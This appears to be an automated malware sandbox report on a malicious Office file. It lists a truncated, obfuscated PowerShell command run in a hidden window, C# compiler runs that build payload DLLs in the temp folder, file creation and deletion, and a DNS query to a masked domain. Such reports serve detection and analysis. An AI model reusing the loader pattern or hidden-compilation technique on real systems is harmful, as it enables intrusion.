Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function v139bd { param($p9d7551) $kd36a = 'lb2a3b';$t78a6b = ''; for ($i = 0; $i -lt $p9d7551.length; $i+=2) { $t1baa = [convert]::ToByte($p9d7551.Substring($i, 2), 1...
Modifies file system
Creates the following files
- %TEMP%\szxhu3yg.0.cs
- %TEMP%\resd885.tmp
- %TEMP%\cscd865.tmp
- %TEMP%\.ds_store
- %TEMP%\-pgc7vw1.out
- %TEMP%\-pgc7vw1.cmdline
- %TEMP%\-pgc7vw1.0.cs
- %TEMP%\tmecljbq.dll
- %TEMP%\resb31b.tmp
- %TEMP%\cscb30b.tmp
- %TEMP%\tmecljbq.out
- %TEMP%\tmecljbq.cmdline
- %TEMP%\tmecljbq.0.cs
- %TEMP%\thxsilo5.dll
- %TEMP%\res988e.tmp
- %TEMP%\szxhu3yg.dll
- %TEMP%\res9821.tmp
- %TEMP%\csc987e.tmp
- %TEMP%\csc9810.tmp
- %TEMP%\thxsilo5.out
- %TEMP%\thxsilo5.cmdline
- %TEMP%\thxsilo5.0.cs
- %TEMP%\szxhu3yg.out
- %TEMP%\szxhu3yg.cmdline
- %TEMP%\-pgc7vw1.dll
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.word\~wrf{554f74d5-a022-4a81-8d2e-ad7922f2f9b7}.tmp
Deletes the following files
- %TEMP%\res9821.tmp
- %TEMP%\-pgc7vw1.dll
- %TEMP%\-pgc7vw1.cmdline
- %TEMP%\-pgc7vw1.pdb
- %TEMP%\-pgc7vw1.out
- %TEMP%\cscd865.tmp
- %TEMP%\resd885.tmp
- %TEMP%\tmecljbq.cmdline
- %TEMP%\tmecljbq.dll
- %TEMP%\tmecljbq.0.cs
- %TEMP%\tmecljbq.out
- %TEMP%\tmecljbq.pdb
- %TEMP%\cscb30b.tmp
- %TEMP%\-pgc7vw1.0.cs
- %TEMP%\resb31b.tmp
- %TEMP%\thxsilo5.0.cs
- %TEMP%\thxsilo5.cmdline
- %TEMP%\thxsilo5.dll
- %TEMP%\thxsilo5.pdb
- %TEMP%\csc987e.tmp
- %TEMP%\res988e.tmp
- %TEMP%\szxhu3yg.pdb
- %TEMP%\szxhu3yg.cmdline
- %TEMP%\szxhu3yg.dll
- %TEMP%\szxhu3yg.out
- %TEMP%\szxhu3yg.0.cs
- %TEMP%\csc9810.tmp
- %TEMP%\thxsilo5.out
- %TEMP%\.ds_store
Network activity
UDP
- DNS ASK da###mang.co.kr
Miscellaneous
Creates and executes the following
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\szxhu3yg.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\thxsilo5.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9821.tmp" "%TEMP%\CSC9810.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES988E.tmp" "%TEMP%\CSC987E.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\tmecljbq.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB31B.tmp" "%TEMP%\CSCB30B.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\-pgc7vw1.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD885.tmp" "%TEMP%\CSCD865.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\szxhu3yg.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\thxsilo5.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9821.tmp" "%TEMP%\CSC9810.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES988E.tmp" "%TEMP%\CSC987E.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\tmecljbq.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB31B.tmp" "%TEMP%\CSCB30B.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\-pgc7vw1.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD885.tmp" "%TEMP%\CSCD865.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
